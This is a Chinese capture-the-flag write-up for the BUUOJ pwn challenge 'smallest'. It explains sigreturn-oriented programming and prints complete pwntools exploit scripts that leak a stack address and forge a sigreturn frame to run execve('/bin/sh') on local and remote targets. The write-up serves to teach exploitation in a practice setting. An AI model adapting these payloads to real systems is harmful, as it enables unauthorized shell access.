zoukankan      html  css  js  c++  java
  • buuoj--smallest WP

    感谢haivk大佬的帮助和解答,否则我无法打通远程的环境。

    拿到文件可以看到应用了静态链接,分析程序,只有一段向rsp中读入0x400字节的代码:

    这道题目考察SROP,SROP利用sigreturn系统调用机制,我们可以通过事先在栈上伪造布置好一定的栈布局后调用sigreturn,这里可以布置rax sp ip si di等一系列寄存器,因此可以执行我们期望执行的系统调用或利用gadgets劫持程序流到栈顶指针等。

    这里我们期望直接执行execve("/bin/sh",NULL,NULL);进行getshell,关键在于找到/bin/sh的位置,由于这里可以直接向栈顶rsp中写入,我们可以考虑先向栈中写入字符串/bin/sh,再利用栈地址构造execve系统调用所需要的参数。由于rax寄存器既存放函数调用的返回值又存储系统调用号,因此我们可以通过控制read函数读入的字节数进行不同的系统调用,我们首先泄露栈空间,为了实现向标准输出流中写的效果我们希望调用write函数,系统调用号为1,我们发送'xb3'字节,可以实现修改rax为1并输出栈顶指针所指向的数据,在本地调试的情况如下:

    可以观察到栈中偏移量为0x360的位置上存放的数据具体我们的栈基址很近,我选择利用这个地址泄露此时的栈顶地址rsp:

    re_addr=0x4000B0
    syscall=0x4000BE
    pd=p64(re_addr)*3
    sd(pd)
    pause()
    sd('xb3')
    p.recv(0x360)
    leak_addr=leak_address()
    print hex(leak_addr)
    stack_base=leak_addr-(0x00007ffcc1286529-0x7ffcc1286188)
    print hex(stack_base)
    

    接着,我们构造栈布局,布置execve函数的参数,并通过read15个字节进行sigreturn系统调用:

    sigframe=SigreturnFrame()
    sigframe.rax=0x3b
    sigframe.rdi=stack_base+0x108
    sigframe.rsi=0
    sigframe.rdx=0
    sigframe.rip=syscall
    pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/shx00'
    print len(sigframe)
    pause()
    sd(pd)
    pause()
    pd=p64(syscall)+'b'*7
    sd(pd)
    

    注意此时的payload需要补充8个字节才能正确构造。

    完整的exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    local=1
    binary_name='smallest'
    if local:
        p=process('./'+binary_name)
        e=ELF('./'+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',27440)
        e=ELF('./'+binary_name)
        libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
        
    z()
    re_addr=0x4000B0
    syscall=0x4000BE
    pd=p64(re_addr)*3
    sd(pd)
    pause()
    sd('xb3')
    p.recv(0x360)
    leak_addr=leak_address()
    print hex(leak_addr)
    stack_base=leak_addr-(0x00007ffcc1286529-0x7ffcc1286188)
    print hex(stack_base)
    
    sigframe=SigreturnFrame()
    sigframe.rax=0x3b
    sigframe.rdi=stack_base+0x108
    sigframe.rsi=0
    sigframe.rdx=0
    sigframe.rip=syscall
    
    pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/shx00'
    print len(sigframe)
    pause()
    sd(pd)
    pause()
    pd=p64(syscall)+'b'*7
    sd(pd)
    
    p.interactive()
    

    但是当我们用这个脚本打远程环境的时候,由于远程环境下的栈布局与本地不同,我们需要重新泄露栈地址,可以观察一下返回的数据:

    发现在0x148的偏移处与我们刚刚寻找的地址类似,我们先通过输出该栈地址附近的内容测试一下:

    re_addr=0x4000B0
    syscall=0x4000BE
    pd=p64(re_addr)*3
    sd(pd)
    pause()
    sd('xb3')
    p.recv(0x148)
    leak_addr=leak_address()
    print hex(leak_addr)
    
    sigframe=SigreturnFrame()
    sigframe.rax=1
    sigframe.rdi=1
    sigframe.rsi=leak_addr-0x100
    sigframe.rdx=0x200
    sigframe.rip=syscall
    pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/shx00'
    print len(sigframe)
    pause()
    sd(pd)
    pause()
    pd=p64(syscall)+'b'*7
    sd(pd)
    

    可以看到我们部署的/bin/sh字符串:

    正确的到偏移量后即可getshell,完整的exp如下:

    from pwn import *
    #from LibcSearcher import LibcSearcher
    context(log_level='debug',arch='amd64')
    local=0
    binary_name='smallest'
    if local:
        p=process('./'+binary_name)
        e=ELF('./'+binary_name)
        libc=e.libc
    else:
        p=remote('node3.buuoj.cn',29098)
        e=ELF('./'+binary_name)
        libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def z(a=''):
        if local:
            gdb.attach(p,a)
            if a=='':
                raw_input
        else:
            pass
    ru=lambda x:p.recvuntil(x)
    sl=lambda x:p.sendline(x)
    sd=lambda x:p.send(x)
    sla=lambda a,b:p.sendlineafter(a,b)
    ia=lambda :p.interactive()
    def leak_address():
        if(context.arch=='i386'):
            return u32(p.recv(4))
        else :
            return u64(p.recv(6).ljust(8,'x00'))
        
    z()
    re_addr=0x4000B0
    syscall=0x4000BE
    pd=p64(re_addr)*3
    sd(pd)
    pause()
    sd('xb3')
    p.recv(0x148)
    leak_addr=leak_address()
    print hex(leak_addr)
    sigframe=SigreturnFrame()
    sigframe.rax=0x3b
    sigframe.rdi=leak_addr-0x100+0x77
    sigframe.rsi=0
    sigframe.rdx=0
    sigframe.rip=syscall
    pd=p64(re_addr)+'a'*8+str(sigframe)+'/bin/shx00'
    print len(sigframe)
    pause()
    sd(pd)
    pause()
    pd=p64(syscall)+'b'*7
    sd(pd)
    p.interactive()
    
  • 相关阅读:
    学习的过程必须要知其所以然
    根据人类的学习与记忆过程来高效学习
    大脑的信息获取特点与记忆模式
    31个让你变聪明的有效方法
    心智模式:心智模式的更多资料
    心智模式:仁者见仁、智者见智
    心智模式:如何看待成败?
    心智模式:如何面对逆境?
    心智模式:认识你自己
    阿里巴巴JAVA工程师面试经验
  • 原文地址:https://www.cnblogs.com/Theffth-blog/p/12833123.html
Copyright © 2011-2022 走看看